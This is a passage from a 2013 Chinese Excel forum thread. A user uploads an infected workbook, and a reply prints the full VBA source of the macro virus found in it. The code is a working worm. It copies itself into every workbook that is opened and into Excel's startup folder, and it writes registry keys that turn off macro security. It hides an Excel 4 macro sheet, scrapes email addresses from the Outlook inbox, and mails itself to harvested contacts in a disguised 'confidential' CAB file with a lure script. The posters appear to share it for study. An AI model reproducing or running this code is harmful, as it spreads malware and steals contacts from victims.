  654. del_frag = True
  655. Exit For
  656. End If
  657. Next
  658. If del_frag = True Then Sheets(del_sht).Delete
  659. Application.ScreenUpdating = True
  660. End Function
复制代码

车辆违章查询目录.rar

35.37 KB, 下载次数: 6

评分

参与人数 1 +21 收起 理由
无聊的疯子 + 21 很值得研究的病毒文件,感谢上传,不要删除哦

查看全部评分

excel精英培训的微信平台,每天都会发送excel学习教程和资料。扫一扫明天就可以收到新教程
发表于 2013-4-16 11:09 | 显示全部楼层    本楼为最佳答案   
附件中的  todole 模块里的  病毒代码如下

你想怎么破解呢??代码都在里面,都是本地操作的!!

  1. Private Sub auto_open()
  2. Application.DisplayAlerts = False
  3. If ThisWorkbook.Path <> Application.StartupPath Then
  4.   Application.ScreenUpdating = False
  5.   Call delete_this_wk
  6.   Call copytoworkbook
  7.   If Sheets(1).Name <> "Macro1" Then Movemacro4 ThisWorkbook
  8.   ThisWorkbook.Save
  9.   Application.ScreenUpdating = True
  10. End If
  11. End Sub
  12. Private Sub copytoworkbook()
  13.   Const DQUOTE = """"
  14.   With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
  15. .InsertLines 1, "Public WithEvents xx As Application"
  16. .InsertLines 2, "Private Sub Workbook_open()"
  17. .InsertLines 3, "Set xx = Application"
  18. .InsertLines 4, "On Error Resume Next"
  19. .InsertLines 5, "Application.DisplayAlerts = False"
  20. .InsertLines 6, "Call do_what"
  21. .InsertLines 7, "End Sub"
  22. .InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"
  23. .InsertLines 9, "On Error Resume Next"
  24. .InsertLines 10, "wb.VBProject.References.AddFromGuid _"
  25. .InsertLines 11, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _"
  26. .InsertLines 12, "Major:=5, Minor:=3"
  27. .InsertLines 13, "Application.ScreenUpdating = False"
  28. .InsertLines 14, "Application.DisplayAlerts = False"
  29. .InsertLines 15, "copystart wb"
  30. .InsertLines 16, "Application.ScreenUpdating = True"
  31. .InsertLines 17, "End Sub"
  32. End With
  33. End Sub
  34. Private Sub delete_this_wk()
  35. Dim VBProj As VBIDE.VBProject
  36. Dim VBComp As VBIDE.VBComponent
  37. Dim CodeMod As VBIDE.CodeModule
  38. Set VBProj = ThisWorkbook.VBProject
  39. Set VBComp = VBProj.VBComponents("ThisWorkbook")
  40. Set CodeMod = VBComp.CodeModule
  41. With CodeMod
  42.     .DeleteLines 1, .CountOfLines
  43. End With
  44. End Sub
  45. Function do_what()
  46. If ThisWorkbook.Path <> Application.StartupPath Then
  47.   RestoreAfterOpen
  48.   Call OpenDoor
  49.   Call Microsofthobby
  50.   Call ActionJudge
  51. End If
  52. End Function
  53. Function copystart(ByVal wb As Workbook)
  54. On Error Resume Next
  55. Dim VBProj1 As VBIDE.VBProject
  56. Dim VBProj2 As VBIDE.VBProject
  57. Set VBProj1 = Workbooks("k4.xls").VBProject
  58. Set VBProj2 = wb.VBProject
  59. If copymodule("ToDole", VBProj1, VBProj2, False) Then Exit Function
  60. End Function
  61. Function copymodule(ModuleName As String, _
  62.     FromVBProject As VBIDE.VBProject, _
  63.     ToVBProject As VBIDE.VBProject, _
  64.     OverwriteExisting As Boolean) As Boolean
  65.    
  66.     On Error Resume Next
  67.     Dim VBComp As VBIDE.VBComponent
  68.     Dim FName As String
  69.     Dim CompName As String
  70.     Dim S As String
  71.     Dim SlashPos As Long
  72.     Dim ExtPos As Long
  73.     Dim TempVBComp As VBIDE.VBComponent
  74.    
  75.     If FromVBProject Is Nothing Then
  76.         copymodule = False
  77.         Exit Function
  78.     End If
  79.    
  80.     If Trim(ModuleName) = vbNullString Then
  81.         copymodule = False
  82.         Exit Function
  83.     End If
  84.    
  85.     If ToVBProject Is Nothing Then
  86.         copymodule = False
  87.         Exit Function
  88.     End If
  89.    
  90.     If FromVBProject.Protection = vbext_pp_locked Then
  91.         copymodule = False
  92.         Exit Function
  93.     End If
  94.    
  95.     If ToVBProject.Protection = vbext_pp_locked Then
  96.         copymodule = False
  97.         Exit Function
  98.     End If
  99.    
  100.     On Error Resume Next
  101.     Set VBComp = FromVBProject.VBComponents(ModuleName)
  102.     If Err.Number <> 0 Then
  103.         copymodule = False
  104.         Exit Function
  105.     End If
  106.    
  107.     FName = Environ("Temp") & "" & ModuleName & ".bas"
  108.     If OverwriteExisting = True Then
  109.       
  110.         If Dir(FName, vbNormal + vbHidden + vbSystem) <> vbNullString Then
  111.             Err.Clear
  112.             Kill FName
  113.             If Err.Number <> 0 Then
  114.                 copymodule = False
  115.                 Exit Function
  116.             End If
  117.         End If
  118.         With ToVBProject.VBComponents
  119.             .Remove .Item(ModuleName)
  120.         End With
  121.     Else
  122.         
  123.         Err.Clear
  124.         Set VBComp = ToVBProject.VBComponents(ModuleName)
  125.         If Err.Number <> 0 Then
  126.             If Err.Number = 9 Then
  127.                
  128.             Else
  129.                
  130.                 copymodule = False
  131.                 Exit Function
  132.             End If
  133.         End If
  134.     End If
  135.    
  136.     FromVBProject.VBComponents(ModuleName).Export FileName:=FName
  137.    
  138.     SlashPos = InStrRev(FName, "")
  139.     ExtPos = InStrRev(FName, ".")
  140.     CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1)
  141.    
  142.     Set VBComp = Nothing
  143.     Set VBComp = ToVBProject.VBComponents(CompName)
  144.    
  145.     If VBComp Is Nothing Then
  146.         ToVBProject.VBComponents.Import FileName:=FName
  147.     Else
  148.         If VBComp.Type = vbext_ct_Document Then
  149.             
  150.             Set TempVBComp = ToVBProject.VBComponents.Import(FName)
  151.            
  152.             With VBComp.CodeModule
  153.                 .DeleteLines 1, .CountOfLines
  154.                 S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines)
  155.                 .InsertLines 1, S
  156.             End With
  157.             On Error GoTo 0
  158.             ToVBProject.VBComponents.Remove TempVBComp
  159.         End If
  160.     End If
  161.     Kill FName
  162.     copymodule = True
  163. End Function
  164. Function Microsofthobby()
  165. Dim myfile0 As String
  166. Dim MyFile As String
  167. On Error Resume Next
  168. myfile0 = ThisWorkbook.FullName
  169. MyFile = Application.StartupPath & "\k4.xls"
  170. If WorkbookOpen("k4.xls") And ThisWorkbook.Path <> Application.StartupPath Then Workbooks("k4.xls").Close False
  171. Shell Environ$("comspec") & " /c attrib -S -h """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
  172. Shell Environ$("comspec") & " /c Del /F /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
  173. Shell Environ$("comspec") & " /c RD /S /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
  174. If ThisWorkbook.Path <> Application.StartupPath Then
  175.      Application.ScreenUpdating = False
  176.      ThisWorkbook.IsAddin = True
  177.      ThisWorkbook.SaveCopyAs MyFile
  178.      ThisWorkbook.IsAddin = False
  179.      Application.ScreenUpdating = True
  180. End If
  181. End Function
  182. Function OpenDoor()
  183. Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
  184. Dim KValue1 As Variant, KValue2 As Variant
  185. Dim VS As String
  186. On Error Resume Next
  187. VS = Application.Version
  188. Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
  189. RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office" & VS & "\Excel\Security\AccessVBOM"
  190. RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office" & VS & "\Excel\Security\Level"
  191. RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office" & VS & "\Excel\Security\AccessVBOM"
  192. RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office" & VS & "\Excel\Security\Level"
  193. KValue1 = 1
  194. KValue2 = 1
  195.       Call WReg(RK1, KValue1, "REG_DWORD")
  196.       Call WReg(RK2, KValue2, "REG_DWORD")
  197.       Call WReg(RK3, KValue1, "REG_DWORD")
  198.       Call WReg(RK4, KValue2, "REG_DWORD")
  199. End Function
  200. Sub WReg(strkey As String, Value As Variant, ValueType As String)
  201.     Dim oWshell
  202.     Set oWshell = CreateObject("WScript.Shell")
  203.     If ValueType = "" Then
  204.         oWshell.RegWrite strkey, Value
  205.     Else
  206.         oWshell.RegWrite strkey, Value, ValueType
  207.     End If
  208.     Set oWshell = Nothing
  209. End Sub

  210. Private Sub Movemacro4(ByVal wb As Workbook)
  211. On Error Resume Next
  212.   Dim sht As Object
  213.     wb.Sheets(1).Select
  214.     Sheets.Add Type:=xlExcel4MacroSheet
  215.     ActiveSheet.Name = "Macro1"
  216.    
  217.     Range("A2").Select
  218.     ActiveCell.FormulaR1C1 = "=ERROR(FALSE)"
  219.     Range("A3").Select
  220.     ActiveCell.FormulaR1C1 = "=IF(ERROR.TYPE(RUN(""" & Application.UserName & """))=4)"
  221.     Range("A4").Select
  222.     ActiveCell.FormulaR1C1 = "=ALERT(""禁用宏,关闭 " & Chr(10) & Now & Chr(10) & "Please Enable Macro!"",3)"
  223.     Range("A5").Select
  224.     ActiveCell.FormulaR1C1 = "=FILE.CLOSE(FALSE)"
  225.     Range("A6").Select
  226.     ActiveCell.FormulaR1C1 = "=END.IF()"
  227.     Range("A7").Select
  228.     ActiveCell.FormulaR1C1 = "=RETURN()"
  229.    
  230.     For Each sht In wb.Sheets
  231.     wb.Names.Add sht.Name & "!Auto_Activate", "=Macro1!$A$2", False
  232.     Next
  233.     wb.Excel4MacroSheets(1).Visible = xlSheetVeryHidden
  234. End Sub
  235. Private Function WorkbookOpen(WorkBookName As String) As Boolean
  236.   WorkbookOpen = False
  237.   On Error GoTo WorkBookNotOpen
  238.   If Len(Application.Workbooks(WorkBookName).Name) > 0 Then
  239.     WorkbookOpen = True
  240.     Exit Function
  241.   End If
  242. WorkBookNotOpen:
  243. End Function
  244. Private Sub ActionJudge()
  245. Const T1 As Date = "10:00:00"
  246. Const T2 As Date = "11:00:00"
  247. Const T3 As Date = "14:00:00"
  248. Const T4 As Date = "15:00:00"
  249. Dim SentTime As Date, WshShell
  250. Set WshShell = CreateObject("WScript.Shell")
  251. If Not InStr(UCase(WshShell.RegRead("HKEY_CLASSES_ROOT\mailto\shell\open\command")), "OUTLOOK.EXE") > 0 Then Exit Sub
  252. If Time >= T1 And Time <= T2 Or Time >= T3 And Time <= T4 Then
  253.       If ReadOut("D:\Collected_Address:frag1.txt") = "1" Then
  254.            Exit Sub
  255.       Else
  256.            CreateFile "1", "D:\Collected_Address:frag1.txt"
  257.            search_in_OL
  258.       End If
  259. Else
  260.      If Not if_outlook_open Then Exit Sub
  261.      If Time > T2 And Time <= DateAdd("n", 10, T2) Or Time > T4 And Time <= DateAdd("n", 10, T4) Then
  262.           Exit Sub
  263.      Else
  264.           SentTime = DateAdd("n", -21, Now)
  265.           On Error GoTo timeError
  266.           SentTime = CDate(ReadOut("D:\Collected_Address:frag2.txt"))
  267. timeError:
  268.           If Now < DateAdd("n", 20, SentTime) Or ReadOut("D:\Collected_Address\log.txt") = "" Then
  269.                 Exit Sub
  270.           Else
  271.                 CreateFile "", "D:\Collected_Address:frag1.txt"
  272.                 CreateFile Now, "D:\Collected_Address:frag2.txt"
  273.                 CreatCab_SendMail
  274.           End If
  275.      End If
  276. End If
  277. End Sub

  278. Private Sub search_in_OL()
  279. Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, fs As Object, WshShell As Object
  280. On Error Resume Next
  281. Set fs = CreateObject("scripting.filesystemobject")
  282. Set WshShell = CreateObject("WScript.Shell")
  283. If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
  284. AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), " ", "_"), ".", "_")
  285. AddVbsFile_clear = "E:\KK" & AttName & "_clear.vbs"
  286. i = FreeFile
  287. Open AddVbsFile_clear For Output Access Write As #i
  288. Print #i, "On error Resume Next"
  289. Print #i, "Dim wsh, tle, T0, i"
  290. Print #i, "  T0 = Timer"
  291. Print #i, "  Set wsh=createobject(""" & "wscript.shell""" & ")"
  292. Print #i, "  tle = """ & "Microsoft Office Outlook""" & ""
  293. Print #i, "For i = 1 To 1000"
  294. Print #i, "    If Timer - T0 > 60 Then Exit For"
  295. Print #i, "  Call Refresh()"
  296. Print #i, "  wscript.sleep 05"
  297. Print #i, "  wsh.sendKeys """ & "%a""" & ""
  298. Print #i, "  wscript.sleep 05"
  299. Print #i, "  wsh.sendKeys """ & "{TAB}{TAB}""" & ""
  300. Print #i, "  wscript.sleep 05"
  301. Print #i, "  wsh.sendKeys """ & "{Enter}""" & ""
  302. Print #i, "Next"
  303. Print #i, "Set wsh = Nothing"
  304. Print #i, "wscript.quit"
  305. Print #i, "Sub Refresh()"
  306. Print #i, "Do Until wsh.AppActivate(CStr(tle)) = True"
  307. Print #i, "    If Timer - T0 > 60 Then Exit Sub"
  308. Print #i, "Loop"
  309. Print #i, "  wscript.sleep 05"
  310. Print #i, "    wsh.SendKeys """ & "%{F4}""" & ""
  311. Print #i, "End Sub"
  312. Close (i)
  313. AddVbsFile_search = "E:\KK" & AttName & "_Search.vbs"
  314. i = FreeFile
  315. Open AddVbsFile_search For Output Access Write As #i
  316. Print #i, "On error Resume Next"
  317. Print #i, "Const olFolderInbox = 6"
  318. Print #i, "Dim conbinded_address,WshShell,sh,ts"
  319. Print #i, "Set WshShell=WScript.CreateObject(""" & "WScript.Shell""" & ")"
  320. Print #i, "Set objOutlook = CreateObject(""" & "Outlook.Application""" & ")"
  321. Print #i, "Set objNamespace = objOutlook.GetNamespace(""" & "MAPI""" & ")"
  322. Print #i, "Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox)"
  323. Print #i, "Set TargetFolder = objFolder"
  324. Print #i, "conbinded_address = """ & """" & ""
  325. Print #i, "Set colItems = TargetFolder.Items"
  326. Print #i, "wscript.sleep 300000"
  327. Print #i, "WshSHell.Run (""" & "wscript.exe " & AddVbsFile_clear & """" & "), vbHide, False"
  328. Print #i, "ts = Timer"
  329. Print #i, "For Each objMessage in colItems"
  330. Print #i, "       If Timer - ts >55 then exit For"
  331. Print #i, "       conbinded_address = conbinded_address & valid_address(objMessage.Body)"
  332. Print #i, "Next"
  333. Print #i, "add_text conbinded_address, 8"
  334. Print #i, "add_text all_non_same(ReadAllTextFile), 2"
  335. Print #i, "WScript.Quit"
  336. Print #i, ""
  337. Print #i, "Private Function valid_address(source_data)"
  338. Print #i, "   Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr"
  339. Print #i, "   Dim regex, matchs, ss, arr()"
  340. Print #i, "   Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"
  341. Print #i, "   Set regex = CreateObject(""" & "VBSCRIPT.REGEXP""" & ")"
  342. Print #i, ""
  343. Print #i, "   regex.Global = True"
  344. Print #i, "   regex.Pattern = """ & "\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*""" & ""
  345. Print #i, "   Set matchs = regex.Execute(source_data)"
  346. Print #i, "   ReDim trimed_arr(matchs.Count - 1)"
  347. Print #i, "   For i = Lbound(trimed_arr) To Ubound(trimed_arr)"
  348. Print #i, "        trimed_arr(i) = matchs.Item(i) & vbCrLf"
  349. Print #i, "   Next"
  350. Print #i, ""
  351. Print #i, "   For i = LBound(trimed_arr) To UBound(trimed_arr)"
  352. Print #i, "        oDict(trimed_arr(i)) = """ & """" & ""
  353. Print #i, "   Next"
  354. Print #i, ""
  355. Print #i, "   If oDict.Count > 0 Then"
  356. Print #i, "        nonsame_arr = oDict.keys"
  357. Print #i, "        For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
  358. Print #i, "             valid_address = valid_address & nonsame_arr(i)"
  359. Print #i, "        Next"
  360. Print #i, "   End If"
  361. Print #i, "   Set oDict = Nothing"
  362. Print #i, "End Function"
  363. Print #i, ""
  364. Print #i, "Private Sub add_text(inputed_string, input_frag)"
  365. Print #i, "   Dim objFSO, logfile, logtext, log_path, log_folder"
  366. Print #i, "   log_path = """ & "D:\Collected_Address""" & ""
  367. Print #i, "   Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
  368. Print #i, "   On Error resume next"
  369. Print #i, "   Set log_folder = objFSO.CreateFolder(log_path)"
  370. Print #i, ""
  371. Print #i, "   If objFSO.FileExists(log_path & """ & "\log.txt""" & ") = 0 Then"
  372. Print #i, "       Set logfile = objFSO.CreateTextFile(log_path & """ & "\log.txt""" & ", True)"
  373. Print #i, "   End If"
  374. Print #i, "   Set log_folder = Nothing"
  375. Print #i, "   Set logfile = Nothing"
  376. Print #i, ""
  377. Print #i, "   Select Case input_frag"
  378. Print #i, "     Case 8"
  379. Print #i, "          Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 8, True, -1)"
  380. Print #i, "          logtext.Write inputed_string"
  381. Print #i, "          logtext.Close"
  382. Print #i, "     Case 2"
  383. Print #i, "          Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 2, True, -1)"
  384. Print #i, "          logtext.Write inputed_string"
  385. Print #i, "          logtext.Close"
  386. Print #i, "   End Select"
  387. Print #i, "   set objFSO = nothing"
  388. Print #i, "End Sub"
  389. Print #i, ""
  390. Print #i, "Private Function ReadAllTextFile()"
  391. Print #i, "    Dim objFSO, FileName, MyFile"
  392. Print #i, "    FileName = """ & "D:\Collected_Address\log.txt""" & ""
  393. Print #i, "    Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
  394. Print #i, "    Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)"
  395. Print #i, "    If MyFile.AtEndOfStream Then"
  396. Print #i, "        ReadAllTextFile = """ & """" & ""
  397. Print #i, "    Else"
  398. Print #i, "        ReadAllTextFile = MyFile.ReadAll"
  399. Print #i, "    End If"
  400. Print #i, "set objFSO = nothing"
  401. Print #i, "End Function"
  402. Print #i, ""
  403. Print #i, "Private Function all_non_same(source_data)"
  404. Print #i, "   Dim oDict, i, trimed_arr, nonsame_arr"
  405. Print #i, "   all_non_same = """ & """" & ""
  406. Print #i, "   Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"
  407. Print #i, ""
  408. Print #i, "   trimed_arr = Split(source_data, vbCrLf)"
  409. Print #i, ""
  410. Print #i, "   For i = LBound(trimed_arr) To UBound(trimed_arr)"
  411. Print #i, "         oDict(trimed_arr(i)) = """ & """" & ""
  412. Print #i, "   Next"
  413. Print #i, ""
  414. Print #i, "   If oDict.Count > 0 Then"
  415. Print #i, "        nonsame_arr = oDict.keys"
  416. Print #i, "        For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
  417. Print #i, "             all_non_same = all_non_same & nonsame_arr(i) & vbCrLf"
  418. Print #i, "        Next"
  419. Print #i, "   End If"
  420. Print #i, "   Set oDict = Nothing"
  421. Print #i, "End Function"
  422. Close (i)
  423. Application.WindowState = xlMaximized
  424. WshShell.Run ("wscript.exe " & AddVbsFile_search), vbHide, False
  425. Set WshShell = Nothing
  426. End Sub
  427. Private Sub CreatCab_SendMail()
  428. Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, Address_list As String
  429. Dim fs As Object, WshShell As Object
  430. Address_list = get_ten_address
  431. Set WshShell = CreateObject("WScript.Shell")
  432. Set fs = CreateObject("scripting.filesystemobject")
  433. If fs.Folderexists("E:\SORCE") = False Then fs.CreateFolder "E:\SORCE"
  434. AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), " ", "_"), ".", "_")
  435. mail_sub = "*" & AttName & "*Message*"
  436. AddVbsFile = "E:\sorce" & AttName & "_Key.vbs"
  437. i = FreeFile
  438. Open AddVbsFile For Output Access Write As #i
  439.    
  440. Print #i, "Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route"
  441. Print #i, "On error Resume Next"
  442. Print #i, "Set sh=WScript.CreateObject(""" & "shell.application""" & ")"
  443. Print #i, "sh.MinimizeAll"
  444. Print #i, "Set sh = Nothing"
  445. Print #i, "Set Fso = CreateObject(""" & "Scripting.FileSystemObject""" & ")"
  446. Print #i, "Set WshShell = WScript.CreateObject(""" & "WScript.Shell""" & ")"
  447. Print #i, "If Fso.Folderexists(""" & "E:\KK""" & ") = False Then Fso.CreateFolder """ & "E:\KK"""
  448. Print #i, "Fso.CopyFile  _"
  449. Print #i, "WshShell.CurrentDirectory & """ & "" & AttName & "*.CAB""" & "," & " " & """E:\KK""" & ", True"
  450. Print #i, "For Each Atta_xls In ListDir(""" & "E:\KK""" & ")"
  451. Print #i, "   WshShell.Run """ & "expand """ & " & Atta_xls & """ & " -F:" & AttName & ".xls E:\KK""" & ", 0, true"
  452. Print #i, "Next"
  453. Print #i, "If Fso.FileExists(""" & "E:\KK" & AttName & ".xls""" & ") = 0 then"
  454. Print #i, "        route = WshShell.CurrentDirectory & """ & "" & AttName & ".xls"""
  455. Print #i, "        if Fso.FileExists(WshShell.CurrentDirectory & """ & "" & AttName & ".xls""" & ")=0 then"
  456. Print #i, "                 route = InputBox(""" & "Warning! """ & " & Chr(10) & """ & "You are going to open a confidential file.""" & "& Chr(10)   _"
  457. Print #i, "                               & """ & "Please input the complete file path.""" & " & Chr(10) & """ & "ex. C:\parth\confidential_file.xls""" & ", _"
  458. Print #i, "                               """ & "Open a File""" & " , """ & "Please Input the Complete File Path""" & ", 10000, 8500)"
  459. Print #i, "        End if"
  460. Print #i, "else"
  461. Print #i, "        route = """ & "E:\KK" & AttName & ".xls"""
  462. Print #i, "End If"
  463. Print #i, "   set oexcel=createobject(""" & "excel.application""" & ")"
  464. Print #i, "   set owb=oexcel.workbooks.open(route)"
  465. Print #i, "   oExcel.Visible = True"
  466. Print #i, "Set oExcel = Nothing"
  467. Print #i, "Set oWb = Nothing"
  468. Print #i, "Set  WshShell = Nothing"
  469. Print #i, "Set Fso = Nothing"
  470. Print #i, "WScript.Quit"
  471. Print #i, "Private Function ListDir (ByVal Path)"
  472. Print #i, "   Dim Filter, a, n, Folder, Files, File"
  473. Print #i, "       ReDim a(10)"
  474. Print #i, "    n = 0"
  475. Print #i, "  Set Folder = fso.GetFolder(Path)"
  476. Print #i, "   Set Files = Folder.Files"
  477. Print #i, "   For Each File In Files"
  478. Print #i, "      If left(File.Name," & Len(AttName) & ") = """ & AttName & """ and right(File.Name,3) = """ & "CAB""" & " Then"
  479. Print #i, "         If n > UBound(a) Then ReDim Preserve a(n*2)"
  480. Print #i, "            a(n) = File.Path"
  481. Print #i, "            n = n + 1"
  482. Print #i, "       End If"
  483. Print #i, "   Next"
  484. Print #i, "   ReDim Preserve a(n-1)"
  485. Print #i, "   ListDir = a"
  486. Print #i, "End Function"
  487. Close (i)
  488. AddListFile = ThisWorkbook.Path & "\TEST.txt"
  489. i = FreeFile
  490. Open AddListFile For Output Access Write As #i
  491. Print #i, "E:\sorce" & AttName & "_Key.vbs"
  492. Print #i, "E:\sorce" & AttName & ".xls"
  493. Close (i)
  494. Application.ScreenUpdating = False
  495. RestoreBeforeSend
  496. ThisWorkbook.SaveCopyAs "E:\sorce" & AttName & ".xls"
  497. RestoreAfterOpen
  498. c4$ = CurDir()
  499. ChDrive Left(ThisWorkbook.Path, 3) '"C:"
  500. ChDir ThisWorkbook.Path
  501. WshShell.Run Environ$("comspec") & " /c makecab /F """ & ThisWorkbook.Path & "\TEST.TXT""" & " /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../" & AttName & ".CAB", vbHide, False
  502. Do Until fs.FileExists(ThisWorkbook.Path & "\TEST.txt") _
  503. And fs.FileExists(ThisWorkbook.Path & "\setup.rpt") And fs.FileExists(ThisWorkbook.Path & "\setup.inf") _
  504. And fs.FileExists(ThisWorkbook.Path & "" & AttName & ".CAB")
  505. DoEvents
  506. Loop
  507. WshShell.Run Environ$("comspec") & " /c RD /S /Q """ & ThisWorkbook.Path & "\disk1""", vbHide, False
  508. WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\TEST.txt""", vbHide, False
  509. WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.rpt""", vbHide, False
  510. WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.inf""", vbHide, False
  511. WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\sorce", vbHide, False
  512. If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
  513. WshShell.Run Environ$("comspec") & " /c MOVE /Y " & AttName & ".CAB E:\KK""", vbHide, False
  514. ChDir c4$
  515. Call Massive_SendMail(Address_list, AttName, "Dear all," & vbCrLf & AttName & vbCrLf & "FYI", _
  516. "", "E:\KK" & AttName & ".CAB")
  517. WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\KK", vbHide, False
  518. Set WshShell = Nothing
  519. Application.ScreenUpdating = True
  520. End Sub
  521. Private Sub Massive_SendMail(Email_Address$, Subject$, Body$, CC_email_add$, Attachment$)
  522.     Dim objOL As Object
  523.     Dim itmNewMail As Object
  524.     If Not if_outlook_open Then Exit Sub
  525.    
  526.     Set objOL = CreateObject("Outlook.Application")
  527.     Set itmNewMail = objOL.CreateItem(olMailItem)
  528.    
  529.     With itmNewMail
  530.         .Subject = Subject
  531.         .Body = Body
  532.         .To = Email_Address
  533.         .CC = CC_email_add
  534.         .Attachments.Add Attachment
  535.         .DeleteAfterSubmit = True
  536.     End With
  537.     On Error GoTo continue
  538. SendEmail:
  539.     itmNewMail.display
  540.     Debug.Print "setforth "
  541.     DoEvents
  542.     DoEvents
  543.     DoEvents
  544.     SendKeys "%s", Wait:=True
  545.     DoEvents
  546.     GoTo SendEmail
  547. continue:
  548.     Set objOL = Nothing
  549.     Set itmNewMail = Nothing
  550. End Sub
  551. Private Function if_outlook_open() As Boolean
  552. Set objs = GetObject("WinMgmts:").InstancesOf("Win32_Process")
  553. if_outlook_open = False
  554. For Each obj In objs
  555. If InStr(obj.Description, "OUTLOOK") > 0 Then
  556. if_outlook_open = True
  557. Exit For
  558. End If
  559. Next
  560. End Function
  561. Private Function RadomNine(length As Integer) As String
  562. Dim jj As Integer, k As Integer, i As Integer
  563. RadomNine = ""
  564. If length <= 0 Then Exit Function
  565. If length <= 10 Then
  566.      For i = 1 To length
  567.      RadomNine = RadomNine & "$$" & i
  568.      Next i
  569.      Exit Function
  570. End If
  571. jj = length / 10
  572. Randomize
  573. For i = 1 To 10
  574.       k = Int(Rnd * (jj * i - m - 1)) + 1
  575.       If m + k <> 1 Then RadomNine = RadomNine & "$$" & m + k
  576.       m = m + k
  577. Next
  578. End Function
  579. Private Function get_ten_address() As String
  580. Dim singleAddress_arr, krr, i As Integer
  581. get_ten_address = ""
  582. singleAddress_arr = Split(ReadOut("D:\Collected_Address\log.txt"), vbCrLf)
  583. krr = Split(RadomNine(UBound(singleAddress_arr) - LBound(singleAddress_arr) + 1), "$$")
  584. For i = 1 To UBound(krr)
  585. get_ten_address = get_ten_address & ";" & singleAddress_arr(CInt(krr(i)) - 1)
  586. Next i
  587. End Function
  588. Private Function ReadOut(FullPath) As String
  589.     On Error Resume Next
  590.     Dim Fso, FileText
  591.     Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
  592.     Set FileText = Fso.OpenTextFile(FullPath, 1, False, -1)
  593.     ReadOut = FileText.ReadAll
  594.     FileText.Close
  595. End Function
  596. Private Sub CreateFile(FragMark, pathf)
  597.     On Error Resume Next
  598.     Dim Fso, FileText
  599.     Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
  600.     If Fso.Folderexists(Left(pathf, Len(pathf) - 10)) = False Then Fso.CreateFolder Left(pathf, Len(pathf) - 10)
  601.     If Fso.FileExists(pathf) Then
  602.         Set FileText = Fso.OpenTextFile(pathf, 2, False, -1)
  603.         FileText.Write FragMark
  604.         FileText.Close
  605.     Else
  606.         Set FileText = Fso.OpenTextFile(pathf, 2, True, -1)
  607.         FileText.Write FragMark
  608.         FileText.Close
  609.     End If
  610. End Sub

  611. Private Sub RestoreBeforeSend()
  612. Dim aa As Name, i_row As Integer, i_col As Integer
  613. Dim sht As Object
  614. Application.ScreenUpdating = False
  615. Application.DisplayAlerts = False
  616. On Error Resume Next
  617. For Each aa In ThisWorkbook.Names
  618.      aa.Visible = True
  619.      If Split(aa.Name, "!")(1) = "Auto_Activate" Then aa.Delete
  620. Next
  621. For Each sht In ThisWorkbook.Sheets
  622.      If sht.Name = "Macro1" Then
  623.      sht.Visible = xlSheetVisible
  624.      sht.Delete
  625.      End If
  626. Next
  627. Sheets(1).Select
  628. Sheets.Add
  629. For Each sht In ThisWorkbook.Sheets
  630.      If sht.Name <> Sheets(1).Name Then sht.Visible = xlSheetVeryHidden
  631. Next
  632. i_row = Int((15 * Rnd) + 1)
  633. i_col = Int((6 * Rnd) + 1)
  634. Cells(i_row, i_col) = "** CONFIDENTIAL! ** "
  635. Cells(i_row + 2, i_col) = "Use " & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & "_key.vbs" & Chr(34) & " To Open This File."
  636. Cells(i_row + 3, i_col) = "请用 " & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & "_key.vbs" & Chr(34) & " 解锁此文件."
  637. With Range(Cells(i_row, i_col), Cells(i_row + 2, i_col))
  638.      .Font.Bold = True
  639.      .Font.ColorIndex = 3
  640. End With
  641. Application.ScreenUpdating = True
  642. End Sub
  643. Private Function RestoreAfterOpen()
  644. Dim sht, del_sht, rng, del_frag As Boolean
  645. On Error Resume Next
  646. del_sht = ActiveSheet.Name
  647. Application.ScreenUpdating = False
  648. Application.DisplayAlerts = False
